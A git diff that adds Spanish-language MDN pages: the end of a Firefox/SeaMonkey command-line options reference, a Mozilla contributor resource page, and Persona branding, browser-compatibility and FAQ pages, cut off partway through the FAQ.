+<p>Start with editor (Composer) for the given <var>URL</var> (where <var>URL</var> is optional). <strong>SeaMonkey</strong> only.</p>
+
+<pre class="eval notranslate">seamonkey -edit www.mozilla.org
+</pre>
+
+<h3 id="-jsconsole" name="-jsconsole"><code>-jsdebugger</code></h3>
+
+<p>Start application with <a href="/en-US/docs/Tools/Browser_Toolbox">Browser Toolbox</a> (formerly Browser Debugger). That is different to Venkman debugger (see option -venkman).</p>
+
+<h3 id="-jsconsole" name="-jsconsole"><br>
+ <code>-jsconsole</code></h3>
+
+<p>Start application with the <a href="/en-US/docs/Error_Console" title="Error_Console">Error Console</a>.</p>
+
+<div class="warning">
+<p>The Error Console is deprecated in Firefox, and is now only made available if you set the <code>devtools.errorconsole.enabled</code> preference to <code>true</code>. Use the <a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console </a>instead, for web content, or the <a href="/en-US/docs/Tools/Browser_Console" title="/en-US/docs/Tools/Browser_Console">Browser Console</a> for chrome content.</p>
+
+<p>Beginning with Firefox 28, -jsconsole will start Firefox with Browser Console instead.</p>
+</div>
+
+<h3 id="-inspector_URL" name="-inspector_URL"><code>-inspector <var>URL</var></code></h3>
+
+<p>Start with the <a href="/en-US/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a>, if installed, and inspect the given <var>URL</var> (where <var>URL</var> is optional).</p>
+
+<h3 id="-venkman" name="-venkman"><code>-venkman</code></h3>
+
+<p>Start with the JavaScript debugger, <a href="/en-US/docs/Venkman" title="Venkman">Venkman</a>, if installed.</p>
+
+<h3 id="-venkman" name="-venkman"><code>-purgecaches</code></h3>
+
+<p>Gecko (layout engine) has a javascript cache, which is not reset on startup. This clears it.</p>
+
+<h3 id="-chat"><code>-chat</code></h3>
+
+<p>Start with the IRC client, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/16">ChatZilla</a>, if installed.</p>
+
+<h2 id="XULRunner" name="XULRunner">XULRunner</h2>
+
+<h3 id="-app_.2Fpath.2Fto.2Fapplication.ini" name="-app_.2Fpath.2Fto.2Fapplication.ini"><code>-app <em>/path/to/</em>application.ini</code></h3>
+
+<p>Start a new process running the <a href="/en-US/docs/XULRunner" title="XULRunner">XULRunner</a> application at <em>path/to</em>. Also works with Firefox version 3 and above.</p>
+
+<h3 id="--register-global"><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">--register-global</span></h3>
+
+<p><span style="line-height: 21px;">Registers XULRunner on the system for all users. Must be run as admin / root.</span></p>
+
+<h3 id="--register-user"><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">--register-user</span></h3>
+
+<p><span style="line-height: 21px;">Registers XULRunner for a single user.</span></p>
+
+<h3 id="--unregister-global"><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">--unregister-global</span></h3>
+
+<p><span style="line-height: 21px;">Unregisters XULRunner for all users.</span></p>
+
+<h3 id="--unregister-user"><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">--unregister-user</span></h3>
+
+<p><span style="line-height: 21px;">Unregisters XULRunner for a single user.</span></p>
+
+<h3 id="--install-app_pathtomyapplication.xpixulapp"><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">--install-app path/to/myapplication.(xpi|xulapp)</span></h3>
+
+<p><span style="line-height: 1.572;">Installs the XULRunner application at path/to onto the system. Applications are installed into the default location for your system (program files|Applications|usr/lib) at vendorname/applicationName. </span><span style="line-height: 1.572;"> Applications may be uninstalled per usual methods for your system.</span></p>
+
+<pre class="eval notranslate" style="margin-top: 0px; margin-bottom: 1.286em; font-size: 14px;">"C:\Program Files\Mozilla XULRunner\1.8.0.4\xulrunner\xulrunner.exe" --install-app "C:\Users\Billdo\Desktop\myapplication.xpi"</pre>
+
+<pre class="notranslate"><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">/opt/xulrunner/1.8.0.4/xulrunner/xulrunner --install-app ~/Desktop/myapplication.xulapp</span></pre>
+
+<pre class="notranslate"><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">​</span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">/Library/Frameworks/XUL.framework/xulrunner-bin --install-app ~/Desktop/myapplication.xpi</span></pre>
+
+<h2 id="Chrome" name="Chrome">Chrome</h2>
+
+<h3 id="-chrome_chrome_URL" name="-chrome_chrome_URL"><code>-chrome <var>chrome_URL</var></code></h3>
+
+<p>Load the specified chrome.</p>
+
+<pre class="eval notranslate">firefox -chrome <a class="external" rel="freelink">chrome://inspector/content</a>
+</pre>
+
+<h3 id="-register_chrome_URL" name="-register_chrome_URL"><code>-register <var>chrome_URL</var></code></h3>
+
+<p>Register the specified chrome, but do not start application.</p>
+
+<h2 id="Add-ons" name="Add-ons">Add-ons</h2>
+
+<p>{{ gecko_minversion_note("1.9.2", "-install-global-extension and -install-global-theme have been removed from Gecko 1.9.2 and upwards.") }}</p>
+
+<h3 id="-install-global-extension_.2Fpath.2Fto.2Fextension" name="-install-global-extension_.2Fpath.2Fto.2Fextension"><code>-install-global-extension <var>/path/to/extension</var></code></h3>
+
+<p>Installs the extension into the application directory. The parameter is the path to the extension. You must have administrative privileges.</p>
+
+<h3 id="-install-global-theme_.2Fpath.2Fto.2Ftheme" name="-install-global-theme_.2Fpath.2Fto.2Ftheme"><code>-install-global-theme <var>/path/to/theme</var></code></h3>
+
+<p>Same as above, but for themes. You must have administrative privileges.</p>
+
+<div class="note">
+<p><strong>Note: </strong>Since Firefox 2.0.0.7, use of the <code>-install-global-extension</code> and <code>-install-global-theme</code> command line arguments have been restricted to only allow installing add-ons that are on local disks or mapped drives. Installing from a network share directly will no longer succeed.</p>
+</div>
+
+<h3 id="-safe-mode" name="-safe-mode"><code>-safe-mode</code></h3>
+
+<p>Launches the application with all extensions disabled, for that launch only. (Extensions are not loaded, but are not permanently disabled in the Extension Manager data source).</p>
+
+<h2 id="Locale" name="Locale">Locale</h2>
+
+<h3 id="-UILocale_locale" name="-UILocale_locale"><code>-UILocale <var>locale</var></code></h3>
+
+<p>Start with <var>locale</var> resources as UI Locale.</p>
+
+<pre class="eval notranslate">firefox -UILocale en-US
+</pre>
+
+<h2 id="Remote_Control" name="Remote_Control">Remote Control</h2>
+
+<h3 id="-remote_remote_command" name="-remote_remote_command"><code>-remote <var>remote_command</var></code></h3>
+
+<p>Execute <var>remote_command</var> in an already running application process (see <a class="external" href="http://www.mozilla.org/unix/remote.html">remote control</a>).</p>
+
+<pre class="eval notranslate">firefox -remote "openURL(www.mozilla.org, new-tab)"
+</pre>
+
+<h2 id="Miscellaneous" name="Miscellaneous">Miscellaneous</h2>
+
+<h3 id="-tray" name="-tray"><code><strong>-tray</strong></code></h3>
+
+<p>Start application minimized to system tray. Useful with autorun.</p>
+
+<h3 id="-silent" name="-silent"><code>-silent</code></h3>
+
+<p>Don't open default windows. Useful with those command-line arguments that open their own windows but don't already prevent default windows from opening. <strong>Firefox</strong>, <strong>Thunderbird3.x</strong> and <strong>SeaMonkey2.x</strong> only.</p>
+
+<h3 id="-console" name="-console"><code>-console</code></h3>
+
+<p>Start application with a debugging console. Note: Windows only.</p>
+
+<div class="note">
+<p>If you would like the console messages to appear in the console you used to launch the application, you can use the <a href="https://github.com/matthewkastor/Redirector" title="https://github.com/matthewkastor/Redirector">Gecko Console Redirector</a>. Precompiled binaries are available in the zipped archive <a href="https://github.com/matthewkastor/Redirector/archive/master.zip" title="https://github.com/matthewkastor/Redirector/archive/master.zip">https://github.com/matthewkastor/Redirector/archive/master.zip</a> under <code>Redirector-master\Gecko\Console Redirector\bin\Release</code> Copy all the dll's and the exe to wherever you want. Then run <code>Console Redirector.exe /?</code></p>
+</div>
+
+<h3 id="-h_or_-help_or_-.3F" name="-h_or_-help_or_-.3F"><code>-h</code> or <code>-help</code> or <code>-?</code></h3>
+
+<p>Print the list of all available command line options. Note that on Windows this only works with a redirection such as <code><span class="nowiki">|more</span></code> ({{ Bug(355889) }}). This option is available only in a command console.</p>
+
+<h3 id="-v_or_-version" name="-v_or_-version"><code>-v</code> or <code>-version</code></h3>
+
+<p>Print application version. Note that on Windows this only works with a redirection such as <code><span class="nowiki">|more</span></code> ({{ Bug(355889) }}). This option is available only in a command console.</p>
+
+<h3 id="-osint" name="-osint"><code>-osint</code></h3>
+
+<p>Tells the application that it is being launched by the OS shell. This should not be specified unless the caller provides all of the functionality provided by the OS shell when launching the application ({{ Bug(384384) }}).</p>
+
+<h3 id="-requestPending" name="-requestPending"><code>-requestPending</code></h3>
+
+<p>Tells the application that there will be a Windows DDE request to open the same url specified on the command line. This should not be specified unless the caller provides all of the functionality provided by the OS shell when launching the application ({{ Bug(354005) }}).</p>
+
+<h3 id="X11_options">X11 options</h3>
+
+<p>These options are only available for an application build for and running atop the X11/X.org display and window system to be found on Linux and other Unix-based systems.</p>
+
+<h4 id="--displayDISPLAY">--display=DISPLAY</h4>
+
+<p>Set the X display to use</p>
+
+<h4 id="--classWM_CLASS">--class=WM_CLASS</h4>
+
+<p>Set the WM_CLASS resource class of the X11 windows created by the application.</p>
+
+<h4 id="--sync">--sync</h4>
+
+<p>Make X calls synchronous</p>
+
+<h4 id="--g-fatal-warnings">--g-fatal-warnings</h4>
+
+<p>Make all warnings fatal</p>
+
+<h2 id="Other_options_need_to_be_documented" name="Other_options_need_to_be_documented">Other options need to be documented</h2>
+
+<ul>
+ <li><code>-print-xpcom-dir</code></li>
+ <li><code>-print-xpcom-dirlist</code></li>
+ <li><code>-kill</code></li>
+ <li><code>-killAll</code></li>
+ <li><code>-f</code></li>
+ <li><code>-ftimeout</code></li>
+ <li><code>-fwait</code></li>
+ <li><code>-unsetDefaultMail</code></li>
+ <li><code>-foreground</code></li>
+ <li><code>-new-instance</code></li>
+ <li>GTK options</li>
+</ul>
+
+<h2 id="References" name="References">References</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Chrome/Command_Line" title="Chrome/Command_Line">Chrome: Command Line</a></li>
+ <li><a class="external" href="http://www-archive.mozilla.org/quality/browser/front-end/testcases/cmd-line/">Test Documentation for Command-line Features</a> (mozilla.org)</li>
+ <li>{{ Source("toolkit/xre/nsAppRunner.cpp") }}</li>
+ <li>{{ Source("browser/components/nsBrowserContentHandler.js") }}</li>
+ <li>{{ Source("suite/browser/nsBrowserContentHandler.js") }}</li>
+ <li>{{ Source("mail/components/nsMailDefaultHandler.js") }}</li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/Installer:Command_Line_Arguments">Installer command line options</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Ben Goodger, Steffen Wilberg, Seth Spitzer, Daniel Wang</li>
+ <li>Copyright Information: Portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a Creative Commons license | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Details</a>.</li>
+</ul>
+</div>
+
+<p><br>
+ ciones</p>
diff --git a/files/es/mozilla/participating_in_the_mozilla_project/index.html b/files/es/mozilla/participating_in_the_mozilla_project/index.html
new file mode 100644
index 0000000000..846070a7e3
--- /dev/null
+++ b/files/es/mozilla/participating_in_the_mozilla_project/index.html
@@ -0,0 +1,106 @@
+---
+title: Participating in the Mozilla project
+slug: Mozilla/Participating_in_the_Mozilla_project
+tags:
+  - bug-840092
+translation_of: Mozilla/Participating_in_the_Mozilla_project
+---
+<p>Si usted esta interesado en ayudar a reparar bugs y  trabajar de otra manera  con el codigo subyacente de la plataforma de Mozilla, este es el lugar para encontrar la documentación <span class="short_text" id="result_box" lang="es"><span class="hps">que</span> <span class="hps">te orientará</span> <span class="hps">en la dirección correcta</span></span>.</p>
+<table class="mainpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 id="Temas_Generales">Temas Generales</h2>
+        <dl>
+          <dt>
+            <a class="internal" href="/En/Developer_Guide" title="en/Mozilla developer guide">Guía para desarrolladores de Mozilla</a></dt>
+          <dd>
+            Consejos de desarrollo y guías para contribuir al código base de Mozilla.</dd>
+          <dt>
+            <a class="internal" href="/En/Developer_Guide/Source_Code" title="en/Mozilla source code">Código fuente de Mozilla</a></dt>
+          <dd>
+            Información sobre cómo obtener el código de Mozilla, ya se mediante descarga o mediante el control de versiones, y cómo obtener el código en el árbol.</dd>
+          <dt>
+            <a class="internal" href="/En/Developer_Guide/Build_Instructions" title="En/Build Documentation">Construir </a><a class="internal" href="/En/Developer_Guide/Build_Instructions" title="En/Build Documentation">Documentación </a></dt>
+          <dd>
+            Información sobre cómo contruir los proyectos de Mozilla, como Firefox y Thunderbird. <em>Esta página necesita limpieza.</em></dd>
+          <dt>
+            <a class="internal" href="/En/The_Mozilla_platform" title="En/The Mozilla platform">La plataforma de Mozilla</a></dt>
+          <dd>
+            Información sobre la plataforma de Mozilla, incluyendo la totalidad de su APIs y tecnologías, así como la forma de utilizarlos en sus propios proyectos.</dd>
+          <dt>
+            <a class="internal" href="/Project:en/How_to_Help" title="Project:en/How to Help">Documentación de Mozilla</a></dt>
+          <dd>
+            Ayudanos a crear y mejorar nuestra documentación para Mozilla y la Web Abierta.</dd>
+          <dt>
+            <a class="internal" href="/En/Debugging" title="en/Debugging">Depuración</a></dt>
+          <dd>
+            Consejos útiles y directrices a seguir para depurar el código de Mozilla.</dd>
+          <dt>
+            <a class="internal" href="/en/QA" title="en/QA">Aseguramiento de la</a><a class="internal" href="/en/QA" title="en/QA"> calidad</a></dt>
+          <dd>
+            Información sobre pruebas y bug tracking.</dd>
+          <dt>
+            <a class="internal" href="/en/Localization" title="En/Localization">Localización</a></dt>
+          <dd>
+            Documentación sobre tradución de los  proyectos de Mozilla, documentación y otros contendos en multiples idiomas.</dd>
+          <dt>
+            <a class="internal" href="/en/Glossary" title="En/Glossary">Glosario</a></dt>
+          <dd>
+            Terminos y definiciones usado por los hackers de Mozilla.</dd>
+        </dl>
+        <h2 id="Páginas_del_proyecto">Páginas del proyecto</h2>
+        <dl>
+          <dt>
+            <a class="internal" href="/en/Thunderbird" title="en/Thunderbird">Thunderbird</a></dt>
+          <dd>
+            Cliente de correo electrónico de Mozilla</dd>
+          <dt>
+            <a class="internal" href="/en/Calendar" title="en/Calendar">Sunbird</a></dt>
+          <dd>
+            Proyecto de calendario de Mozilla</dd>
+        </dl>
+      </td>
+      <td>
+        <h2 id="Herramientas">Herramientas</h2>
+        <dl>
+          <dt>
+            <a class="link-https" href="https://bugzilla.mozilla.org/" title="https://bugzilla.mozilla.org/">Bugzilla</a></dt>
+          <dd>
+            <a class="internal" href="/en/Bugzilla" title="En/Bugzilla">Bugzilla</a> es la base de datos utilizado para rastrear temas para proyectos de Mozilla.</dd>
+          <dd>
+            <a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/">MXR</a></dd>
+          <dd>
+            Examinar y buscar el repositorio de código fuente de Mozilla en la web.</dd>
+          <dt>
+            <a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi" title="http://bonsai.mozilla.org/cvsqueryform.cgi">Bonsai</a></dt>
+          <dd>
+            <a class="internal" href="/en/Bonsai" title="En/Bonsai">Bonsai</a> la herramienta que permite saber quíen cambió qué archivo en el repositorio, y cuando lo hicieron.</dd>
+          <dd>
+            (Esto  es para Firefox 3.0 en adelante.)</dd>
+          <dt>
+            <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi" title="http://tinderbox.mozilla.org/showbuilds.cgi">Tinderbox</a></dt>
+          <dd>
+            <a class="internal" href="/en/Tinderbox" title="En/Tinderbox">Tinderbox</a> muestra el estado de el árbol (si es o no actualmente se genera correctamente). Comprueba esto antes del registro de salida, para asegurarse de que está funcionando con el árbol de trabajo.</dd>
+          <dt>
+            <a class="internal" href="/en/Crash_reporting" title="en/Crash reporting">Seguimiento de accidente</a></dt>
+          <dd>
+            Informacion sobre el sistema de notificaciones de accidente <a class="link-https" href="https://crash-reports.mozilla.com/reports" title="https://crash-reports.mozilla.com/reports">Socorro</a>.</dd>
+          <dt>
+            <a class="external" href="http://graphs.mozilla.org/" title="http://graphs.mozilla.org/">Seguimiento del rendimiento</a></dt>
+          <dd>
+            Ver la información del rendimiento para los proyectos de Mozilla.</dd>
+          <dt>
+            <a class="external" href="http://www.mozilla.org/community/developer-forums.html" title="http://www.mozilla.org/community/developer-forums.html">Foros para Desarroladores </a></dt>
+          <dd>
+            Una lista de temas especificos de los foros de discusión donde se pueda hablar de los temas de desarrollo de Mozilla.</dd>
+        </dl>
+      </td>
+    </tr>
+    <tr>
+      <td> </td>
+      <td> </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/es/mozilla/persona/branding/index.html b/files/es/mozilla/persona/branding/index.html
new file mode 100644
index 0000000000..5b8b5255ea
--- /dev/null
+++ b/files/es/mozilla/persona/branding/index.html
@@ -0,0 +1,42 @@
+---
+title: Recursos de marca
+slug: Mozilla/Persona/branding
+translation_of: Archive/Mozilla/Persona/User_interface_guidelines
+---
+<h2 id="Inicia_sesión_con_los_botones_de_Persona">Inicia sesión con los botones de Persona</h2>
+<h3 id="Imágenes">Imágenes</h3>
+<p>Los botones de "Inicio de sesión" están disponibles en tres versiones, y tres colores:</p>
+<table>
+  <thead>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Iniciar sesión con tu correo</th>
+      <th scope="col">Iniciar sesión con Persona</th>
+      <th scope="col">Iniciar sesión</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Negro</th>
+      <td><img alt="" src="/files/3955/email_sign_in_black.png" style="width: 202px; height: 25px;"></td>
+      <td><img alt="" src="/files/3961/persona_sign_in_black.png" style="width: 185px; height: 25px;"></td>
+      <td><img alt="" src="/files/3967/plain_sign_in_black.png" style="width: 95px; height: 25px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Azul</th>
+      <td><img alt="" src="/files/3957/email_sign_in_blue.png" style="width: 202px; height: 25px;"></td>
+      <td><img alt="" src="/files/3963/persona_sign_in_blue.png" style="width: 185px; height: 25px;"></td>
+      <td><img alt="" src="/files/3969/plain_sign_in_blue.png" style="width: 95px; height: 25px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Red</th>
+      <td><img alt="" src="/files/3959/email_sign_in_red.png" style="width: 202px; height: 25px;"></td>
+      <td><img alt="" src="/files/3965/persona_sign_in_red.png" style="width: 185px; height: 25px;"></td>
+      <td><img alt="" src="/files/3971/plain_sign_in_red.png" style="width: 95px; height: 25px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Basados_en_CSS">Basados en CSS</h3>
+<p><a href="http://sawyerhollenshead.com/" title="http://sawyerhollenshead.com/">Sawyer Hollenshead</a> ha creado un conjunto de excelentes botones basados en CSS. <a href="/files/3973/persona-css-buttons.zip" title="/files/3973/persona-css-buttons.zip">Descarga (.zip)</a></p>
+<h2 id="Más_información">Más información</h2>
+<p>Puedes encontrar más información sobre el diseño visual de Persona en <a href="http://people.mozilla.org/~smartell/persona/" title="http://people.mozilla.org/~smartell/persona/">manual de estilo de Sean Martell</a>.</p>
diff --git a/files/es/mozilla/persona/browser_compatibility/index.html b/files/es/mozilla/persona/browser_compatibility/index.html
new file mode 100644
index 0000000000..f9e916c23c
--- /dev/null
+++ b/files/es/mozilla/persona/browser_compatibility/index.html
@@ -0,0 +1,73 @@
+---
+title: Compatibilidad de navegadores
+slug: Mozilla/Persona/Browser_compatibility
+translation_of: Archive/Mozilla/Persona/Browser_compatibility
+---
+<h2 id="Navegadores_compatibles">Navegadores compatibles</h2>
+<p><strong>Persona</strong> está desarrollado, probado y es compatible con los siguientes navegadores. Gracias a la biblioteca JavaScript multiplataforma de <em>Persona</em>, los usuarios no necesitan complementos para poderlo usar.</p>
+<table>
+  <tbody>
+    <tr>
+      <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Navegadores de escritorio</strong></th>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Internet Explorer</strong></th>
+      <td colspan="2" rowspan="1" style="background-color: #8ae234;">8.0<sup>*</sup>, 9.0<sup>†</sup></td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Firefox</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Actual estable, Beta, Aurora, Nightly, y versiones ESR<br>
+        Versión anterior estable</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Chrome</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Última versión estable</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Safari</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Última versión estable</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Opera</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Última versión estable<sup>‡</sup></td>
+    </tr>
+    <tr>
+      <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Navegadores en iOS</strong></th>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Mobile Safari</strong></th>
+      <td colspan="2" rowspan="1" style="background-color: #8ae234;">iOS 5.x — 6.x</td>
+    </tr>
+    <tr>
+      <th colspan="3" scope="row" style="text-align: center; background-color: #d3d7cf;"><strong>Navegadores en Android</strong></th>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Navegador predeterminado</strong></th>
+      <td colspan="2" rowspan="1" style="background-color: #8ae234;">2.x — 4.x</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Firefox</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Actual estable, Beta, Aurora, y versiones<br>
+        Versión anterior estable</td>
+    </tr>
+    <tr>
+      <th scope="row"><strong>Chrome</strong></th>
+      <td colspan="2" style="background-color: #8ae234;">Última versión estable</td>
+    </tr>
+  </tbody>
+</table>
+<p><sup>*</sup>: En Windows XP. <sup>†</sup>: En Windows Vista y Windows 7. <sup>‡</sup>: Siempre que se pueda.</p>
+<h2 id="Navegadores_no_compatibles">Navegadores no compatibles</h2>
+<ul>
+  <li>No son compatibles las versiones 6.0 y 7.0 de Internet Explorer. Se pedirá a los usuarios actualizar su navegador.</li>
+  <li>Google Chrome Frame no es compatible y no funcionará. Es posible que se añada más adelante (<a href="https://github.com/mozilla/browserid/issues/796" title="https://github.com/mozilla/browserid/issues/796">Problema #796</a>).</li>
+  <li>Los navegadores de terceros en iOS no son compatibles y no funcionarán. Es posible que se añada más adelante (<a href="https://github.com/mozilla/browserid/issues/1870" title="https://github.com/mozilla/browserid/issues/1870">Problema #1870</a>, <a href="https://github.com/mozilla/browserid/issues/2034" title="https://github.com/mozilla/browserid/issues/2034">Problema #2034</a>).</li>
+</ul>
+<h2 id="Otros_navegadores">Otros navegadores</h2>
+<p>Aunque no se indique explicitamente, cualquier navegador que incluya tanto {{ domxref("window.postMessage()") }} y {{ domxref("Storage", "localStorage") }} debería funcionar. Estas APIs están disponibles en la mayoría de los navegadores desde marzo de 2010.</p>
+<h2 id="Problemas_conocidos">Problemas conocidos</h2>
+<ul>
+  <li>Los navegadores deben aceptar cookies de terceros para una funcionalidad completa (<a href="https://github.com/mozilla/browserid/issues/1352" title="https://github.com/mozilla/browserid/issues/1352">Problema #1352</a>).</li>
+  <li>Los usuarios de Android 2.x que no tengan un navegador predeterminado puede que no sean capaces de iniciar sesión (<a href="https://github.com/mozilla/browserid/issues/1854" title="https://github.com/mozilla/browserid/issues/1854">Problema #1854</a>).</li>
+  <li>Cuando se fuerza a emular IE8, Internet Explorer 9 puede que falle en iniciar sesión en algunos sitios.</li>
+</ul>
diff --git a/files/es/mozilla/persona/faq/index.html b/files/es/mozilla/persona/faq/index.html
new file mode 100644
index 0000000000..b015db56ef
--- /dev/null
+++ b/files/es/mozilla/persona/faq/index.html
@@ -0,0 +1,59 @@
+---
+title: Preguntas más frecuentes
+slug: Mozilla/Persona/FAQ
+tags:
+  - Persona
+translation_of: Archive/Mozilla/Persona/FAQ
+---
+<h3 id="¿Cuál_es_la_diferencia_entre_Mozilla_Persona_y_BrowserID">¿Cuál es la diferencia entre Mozilla Persona y BrowserID?</h3>
+<p>Persona es una implementación completa de un nuevo sistema de acceso distribuido de Mozilla.</p>
+<p>BrowserID es el protocolo abierto que rige el funcionamiento de Persona.</p>
+<p>Como una analogía: Persona permite a los usuarios iniciar sesión en los sitios que implementan BrowserID. De la misma manera, Firefox permite a los usuarios navegar por la web implementando HTTP.</p>
+<h3 id="¿Cómo_se_compara_Persona_con_OpenID">¿Cómo se compara Persona con OpenID?</h3>
+<p>Persona y OpenID tienen objetivos muy similares y una arquitectura similar. Ambos sistemas reducen el número de contraseñas que un usuario necesita, y ambos están diseñados para ser descentralizados. Esto quiere decir que cualquier dominio puede presentarse como proveedor de identidad sin depender de una autoridad central.</p>
+<p>A pesar de estas similitudes, Persona es más fácil de usar y más fácil de añadir a los sitios web. Persona también protege mejor la privacidad de los usuarios. En concreto:</p>
+<dl>
+  <dt>
+    Persona es más fácil para los usuarios</dt>
+  <dd>
+    Persona identifica los usuarios basándose en las direcciones de correo electrónico, que los usuarios ya conocen, comprenden y asocian naturalmente con las identidades en línea. Con OpenID, los usuarios se ven obligados a aprender un nuevo nombre de usuario: una URL que no es intuitiva.</dd>
+  <dd>
+    Iniciar sesión mediante Persona también es fácil: después de haberse configurado la primera vez, sólo son necesarios 2 clics para autenticarse.</dd>
+  <dt>
+    Persona es más fácil para los desarrolladores</dt>
+  <dd>
+    Persona tiene una {{ domxref("navigator.id", "API simple") }} que sólo toma una tarde para entender y empezar a usar.</dd>
+  <dd>
+    Las identidades Persona <em>son</em> direcciones de correo electrónico, por lo tanto, los sitios web no necesitan pedir a los usuarios más información de contacto durante el registro.</dd>
+  <dd>
+    Dado que los usuarios conocen y entienden su dirección de correo electrónico, los desarrolladores no tienen que construir páginas complejas con botones de inicio de sesión para todos los proveedores populares de OpenID.</dd>
+  <dt>
+    Persona protege mejor la privacidad del usuario</dt>
+  <dd>
+    Por su diseño, OpenID permite a los proveedores de identidad rastrear a sus usuarios en la web: cada vez que un usuario inicia sesión en un sitio web, el navegador se redireccionado al proveedor de identidad del usuario, y luego se redirecciona otra vez al sitio. Estas redirecciones exponen completamente al proveedor de identidad la información de a donde va el usuario.</dd>
+  <dd>
+    En contraste, el protocolo BrowserID nunca filtra información de seguimiento hacia el proveedor de identidad. Más bien, se comporta de una manera similar al de una tarjeta de identificación: los usuarios obtienen credenciales firmadas de sus proveedores de identidad, que se pueden presentar a los sitios web como prueba de identidad. Los sitios web pueden comprobar la validez de las credenciales sin tener que revelar la identidad de un usuario a su proveedor de identidad.</dd>
+</dl>
+<h3 id="¿Por_qué_Persona_requiere_JavaScript">¿Por qué Persona requiere JavaScript?</h3>
+<p>Persona requiere JavaScript, pero algunos usuarios optan por bloquear selectivamente desactivar el JavaScript mediante el uso de complementos del navegador como NoScript. Muchos de estos usuarios están preocupados por las implicaciones de privacidad de tener habilitado JavaScript, ya que este se utiliza a menudo para rastrear a los visitantes a través de sitios web.</p>
+<p>Sin embargo, en el caso de Persona, el JavaScript se utiliza realmente para mejorar la privacidad del usuario, ya que permite al navegador realizar operaciones criptográficas en el lado del cliente. Al hacer estas operaciones en el cliente, Persona evita la necesidad de almacenar las claves privadas en otro lugar que no sea en el propio navegador del usuario.</p>
+<h3 id="¿Persona_garantiza_la_obtención_de_una_dirección_de_correo_electrónico_válida_para_mis_usuarios">¿Persona garantiza la obtención de una dirección de correo electrónico válida para mis usuarios?</h3>
+<h3 id="sect1"> </h3>
+<p>No, Persona sólo garantiza la asociación del usuario con una dirección. Al igual que con cualquier dirección de correo electrónico en cualquier sistema de inicio de sesión, es posible que la dirección ya no funcione o no sea comprobada regularmente por el usuario. Para la mayoría de los usuarios, la dirección de correo electrónico será funcional.</p>
+<h3 id="¿Como_verifica_Persona_la_asociación_de_un_usuario_con_una_dirección">¿Como verifica Persona la asociación de un usuario con una dirección?</h3>
+<p>Persona le hace una petición al dominio de la dirección, y este es libre de verificar sus usuarios de la manera que elija. Si el dominio no es un proveedor de identidad nativo, y por tanto, no puede verificar sus propios usuarios, el navegador solicita la verificación al proveedor de identidad de reserva (<em>fallback</em>) de Persona a <a href="https://login.persona.org" title="https://login.persona.org">https://login.persona.org</a>. Antes de certificar la identidad de un usuario, el proveedor de identidad de reserva prueba la dirección, enviándole un correo electrónico, y pídiendole al usuario que haga clic en el enlace que éste contiene.</p>
+<h3 id="¿Cómo_manejar_la_recuperación_de_la_cuenta_si_los_usuarios_pierden_el_control_de_su_correo_electrónico">¿Cómo manejar la recuperación de la cuenta si los usuarios pierden el control de su correo electrónico?</h3>
+<p>La mejor manera de hacerlo es permitir a los usuarios añadir una dirección de correo electrónico secundaria en su cuenta. Ver <a href="/en-US/docs/Persona/The_implementor_s_guide/Adding_extra_email_addresses_with_Persona" title="/en-US/docs/Persona/The_implementor_s_guide/Adding_extra_email_addresses_with_Persona">"Adición de direcciones de correo electrónico adicionales con Persona"</a>.</p>
+<h3 id="¿Puedo_alojar_yo_mismo_include.js_o_la_tengo_que_incluir_desde_httpslogin.persona.org">¿Puedo alojar yo mismo include.js, o la tengo que incluir desde <a class="link-https" href="https://login.persona.org" rel="freelink">https://login.persona.org</a>?</h3>
+<p>El código a <code>include.js</code> aún está sujeto a cambios. No se recomienda que se aloje en ningún servidor propio.</p>
+<h3 id="¿Puedo_verificar_las_afirmaciones_a_nivel_local_o_tengo_que_usar_el_servicio_de_verificación_remoto">¿Puedo verificar las afirmaciones a nivel local, o tengo que usar el servicio de verificación remoto?</h3>
